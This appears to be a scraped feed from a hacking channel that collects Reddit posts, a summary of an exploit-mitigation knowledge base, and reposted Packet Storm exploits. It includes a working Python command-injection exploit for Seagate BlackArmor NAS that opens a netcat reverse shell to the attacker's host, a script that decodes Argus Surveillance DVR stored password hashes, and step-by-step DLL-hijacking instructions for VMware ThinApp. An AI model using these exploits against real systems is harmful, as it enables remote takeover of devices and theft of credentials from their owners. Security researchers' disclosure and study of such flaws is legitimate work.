hacking: security in practice
Is Whitehacker on Wickr Me legit?

Saw some posts about him on Reddit and Quora but they are posted from profiles with only one post about the service itself so it seems pretty sketchy. Should I trust them?

submitted by /u/realtheeasy8s
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Challenge Site Dedicated To Hardware Hacking Education

Hey all!
A buddy and I are working towards launching a new service that will provide intentionally vulnerable hardware and IoT devices. The goal is to provide a safe place to hack hardware and post writeups, as current laws vary so much from country to country and the barrier to entry in the field has grown so much. We are looking for feedback from potential users on the idea, so let me know your thoughts. If you are interested in being a part of the "testing" round, feel free to head over to our landing page at hackmehardware.mailchimpsites.com, drop your email, and check that you are interested in being a part of the beta testing round.

submitted by /u/0xcalico
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit_Mitigations - Knowledge Base Of Exploit Mitigations Available Across Numerous Operating Systems, Architectures And Applications And Versions
http://www.kitploit.com/2021/07/exploitmitigations-knowledge-base-of.html

The goal is to list exploitation (https://www.kitploit.com/search/label/Exploitation) mitigations added over time in various operating systems, software, libraries or hardware. It becomes handy to know if a given vulnerability (https://www.kitploit.com/search/label/Vulnerability) is easily exploitable or not depending on exploitation mitigations in place. An example is the following:

___________________________
@hacking_Attack
@Hacking_Video

Supported targets
We currently support the following operating systems: Microsoft Windows (https://github.com/nccgroup/exploit_mitigations/blob/master/windows_mitigations.md) Linux (https://github.com/nccgroup/exploit_mitigations/blob/master/linux_mitigations.md) Google Android (https://github.com/nccgroup/exploit_mitigations/blob/master/android_mitigations.md) Apple iPhone OS (iOS) (https://github.com/nccgroup/exploit_mitigations/blob/master/iphone_mitigations.md) OpenBSD (https://github.com/nccgroup/exploit_mitigations/blob/master/openbsd_mitigations.md) FreeBSD (https://github.com/nccgroup/exploit_mitigations/blob/master/freebsd_mitigations.md) and the following software: Mozilla Firefox (https://github.com/nccgroup/exploit_mitigations/blob/master/firefox_mitigations.md) Microsoft Edge (https://github.com/nccgroup/exploit_mitigations/blob/master/edge_mitigations.md) Google Chrome (https://github.com/nccgroup/exploit_mitigations/blob/master/chrome_mitigations.md) Microsoft Office (https://github.com/nccgroup/exploit_mitigations/blob/master/office_mitigations.md) and the following libraries: glibc (https://github.com/nccgroup/exploit_mitigations/blob/master/glibc_mitigations.md) and the following hardware: ARM (https://github.com/nccgroup/exploit_mitigations/blob/master/arm_mitigations.md)
Motivations
It has become challenging to follow when certain mitigations are added in an update and/or backported to some older versions of various software and hardware. Sometimes, online content becomes deprecated due to mitigation changes and it can be hard to keep up. Also, it is easy to forget after a short time if you don't work on a specific software/hardware. We have been filling this gap by tracking all the mitigations in summary tables that hold the mitigations names and linking to online references to get technical information about them. The shared information has demonstrated to be useful for several years to exploit developers.
Does my current environment have mitigation X?
This is a common question any exploit developer may have when trying to develop an exploit for a given target. E.g. let's say you want to exploit a Windows kernel driver on Windows 7 x64 containing a kernel NULL pointer dereference bug. Is it exploitable? Checking our table, we read the "NULL page mitigation" was introduced in "Windows 8 32-bit/64-bit and backported to Vista+ 64-bit". Now we know it depends if our target Windows 7 x64 is up-to-date (https://www.kitploit.com/search/label/Up-to-date) or not, more precisely, we can focus on figuring out which KB introduces this mitigation and check our target against that KB!
Final words
We do accept pull requests so feel free to do so :) We do have other targets in our private pipeline (https://www.kitploit.com/search/label/Pipeline) too so reach out if you are interested in another particular one :)

Download Exploit_Mitigations (https://github.com/nccgroup/exploit_mitigations)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Seagate BlackArmor NAS sg2000-2000.1331 Command Injection

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Seagate BlackArmor NAS version sg2000-2000.1331 remote command injection exploit.

MD5 | a1e7f946b3541f69c9c897d1c5a65653

Download
# Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
# Date: 15.07.2021
# Discovered by: Jeroen - IT Nerdbox
# Exploit Author: Metin Yunus Kandemir
# Version: sg2000-2000.1331
# Vendor Homepage: https://www.seagate.com/
# Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/

#!/usr/bin/python3

import requests
import sys

def exec(target, ncIp, ncPort):
print("[!] Please check netcat listener: "+ ncPort)
url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00"
r = requests.get(url = url)
sys.exit(1)

def main(args):
if len(args) != 4:
print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0]))
print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80")
sys.exit(1)
exec(target=args[1], ncIp=args[2], ncPort=args[3])
if __name__ == "__main__":
main(args=sys.argv)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Aruba Instant (IAP) Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Linux Kernel Netfilter Heap Out-Of-Bounds Write

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Argus Surveillance DVR 4.0 Weak Password Encryption

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Argus Surveillance DVR version 4.0 suffers from a weak password encryption vulnerability.

MD5 | 715481e802c71151c41b2dfa7494348c

Download
# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
# Exploit Author: Salman Asad (@deathflash1411)
# Date: 12.07.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
# Reference: https://deathflash1411.github.io/blog/cracking-argus-surveillance-passwords

# Note: Argus Surveillance DVR 4.0 configuration is present in
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

# I'm too lazy to add special characters :P
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z'}

# ASCII art is important xD
banner = '''
#########################################
# _____ Surveillance DVR 4.0 #
# / _ \_______ ____ __ __ ______ #
# / /_\ \_ __ \/ ___\| | \/ ___/ #
# / | \ | \/ /_/ > | /\___ \ #
# \____|__ /__| \___ /|____//____ > #
# \/ /_____/ \/ #
# Weak Password Encryption #
############ @deathflash1411 ############
'''
print(banner)

# Change this :)
pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"
if (len(pass_hash)%4) != 0:
print("[!] Error, check your password hash")
exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
split.append(pass_hash[index : index + n])

for key in split:
if key in characters.keys():
print("[+] " + key + ":" + characters[key])
else:
print("[-] " + key + ":Unknown")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ForgeRock Access Manager/OpenAM 14.6.3 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OX App Suite / OX Guard / OX Documents SSRF / Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Aruba Instant 8.7.1.0 Arbitrary File Modification

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware ThinApp DLL Hijacking

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
VMware ThinApp suffered from a dll hijacking vulnerability.

MD5 | 1db2c7bddddb880c8aa2c4669670dd84

Download
A few months ago I disclosed IBM(R) Db2(R) Windows client DLL
Hijacking Vulnerability(0day) I found:
https://seclists.org/fulldisclosure/2021/Feb/73

In that post I mentioned the vulnerability did not get fully patched.

After I told IBM on hackerone that I disclosed it, hackerone asked me
to delete the post, IBM apologized and fully patched the
vulnerability.
But this is not the point today. I found a similar problem in
VMware-ThinApp-Enterprise-5.2.9-17340778.exe.

After install the software create C:\DummyTLS and rename a dll you
want to load to dummyTLS.dll and put it to C:\DummyTLS\dummyTLS.dll.

Run "C:\Program Files (x86)\VMware\VMware ThinApp\Setup Capture.exe"
and C:\DummyTLS\dummyTLS.dll will be loaded.
(other exe like log_monitor.exe/snapshot.exe vulnerable too).
This is also because they use code like:
LoadLibraryExW(L"\\DummyTLS\\dummyTLS.dll", 0, 0);

In short, Windows will treat relative path in LoadLibrary(and many
other functions) as the path rooted relative to the current disk
designator.

Let us look into code in ntdll.dll. The logic here is:
KernelBase!LoadLibraryExW->ntdll!LdrpLoadDll->ntdll!LdrpPreprocessDllName.
In LdrpPreprocessDllName after calling
RtlDetermineDosPathNameType_Ustr it will return 4(RtlPathTypeRooted).

And after calling LdrpGetFullPath we get "C:\DummyTLS\dummyTLS.dll"!

You should not call LoadLibrary with the relative path. In fact, using
relative path is dangerous in many cases.
This was fixed in 2021-07-13 as CVE-2021-22000 and the advisory is
here : https://www.vmware.com/security/advisories/VMSA-2021-0015.html.
For these vulnerabilities I will post a summary at https://houjingyi233.com.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video